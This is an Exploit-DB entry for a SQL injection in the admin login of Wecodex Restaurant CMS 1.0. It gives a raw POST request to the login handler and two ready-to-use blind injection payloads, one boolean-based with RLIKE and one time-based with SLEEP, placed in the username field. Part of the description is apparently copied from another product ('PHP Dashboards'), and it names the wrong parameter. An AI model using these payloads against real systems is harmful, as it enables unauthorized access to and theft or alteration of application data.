Wecodex Restaurant CMS 1.0 - 'Login' SQL Injection

EDB-ID:
44730

CVE:
N/A

EDB Verified: ×

Author:
AKKUS

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-05-23

Vulnerable App:

```
# Exploit Title: Wecodex Restaurant CMS 1.0 - 'Login' SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor : Wecodex Solutions
# Vendor Homepage: https://www.wecodex.com/item/view/restaurant-system-in-
php-and-mysql/6
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target/demos/restaurant/admin/

https://Target/demos/restaurant/admin/index.php?action=processlogin

POST /demos/restaurant/admin/index.php?action=processlogin HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Target/demos/restaurant/admin/
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=admin&password=123456


# Vulnerable Payload :
# Parameter: email (POST)
# Type: boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP
BY clause
# Payload:

username=admin" RLIKE (SELECT (CASE WHEN (7084=7084) THEN
0x61646d696e4061646d696e2e636f6d ELSE 0x28 END)) AND
"eloY"="eloY&password=123456

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:

username=admin" AND (SELECT * FROM (SELECT(SLEEP(5)))lzxm) AND
"vZea"="vZea&password=123456
```

Tags:

Advisory/Source: Link